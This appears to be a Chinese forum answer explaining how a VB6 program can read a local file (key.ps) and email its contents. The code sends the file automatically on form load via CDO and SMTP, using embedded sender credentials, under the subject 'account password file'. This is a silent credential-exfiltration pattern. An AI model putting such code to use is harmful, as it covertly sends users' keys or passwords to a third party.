VB程序生成的txt文件怎麽發給我

先用Open語句打開該文件，代碼如下：

fno = FreeFile()

Open App.Path & "\key.ps" For Input As #fno

Do Until EOF(fno)

Line Input #fno, UserKey

Text1.Text = UserKey

Loop

Close #fno

然後用E-mail發給妳：

Private Declare Function GetTickCount& Lib "kernel32" ()

Dim a As Long

Dim B As Long

Dim c As Long

Dim d As Long

Dim e As Long

Dim objEmail As Object

Dim strName As String

private sub form_load()

Dim MyValue

Randomize ' 對隨機數生成器做初始化的動作。

MyValue = Int((100 * Rnd) + 2900)

strName = "/cdo/configuration/"

Set objEmail = CreateObject("CDO.Message")

objEmail.From = "發件人地址"

objEmail.To = "收件人地址"

objEmail.Subject = "賬號密碼文件"

objEmail.Textbody = text1.text

objEmail.Configuration.Fields.Item(strName & "sendusing") = 2

objEmail.Configuration.Fields.Item(strName & "smtpserver") = "這裏填發件郵箱的smtp地址，如smtp.163.com"

objEmail.Configuration.Fields.Item(strName & "smtpserverport") = 25

objEmail.Configuration.Fields.Item(strName & "smtpauthenticate") = 1

objEmail.Configuration.Fields.Item(strName & "sendusername") = Left("這裏填發件人郵箱", InStr("這裏填發件人郵箱", "@") - 1)

objEmail.Configuration.Fields.Item(strName & "sendpassword") = "這裏填發件人郵箱密碼"

objEmail.Configuration.Fields.Update

objEmail.Send

end sub

'//////////////////////也可以上傳到服務器，但是麻煩些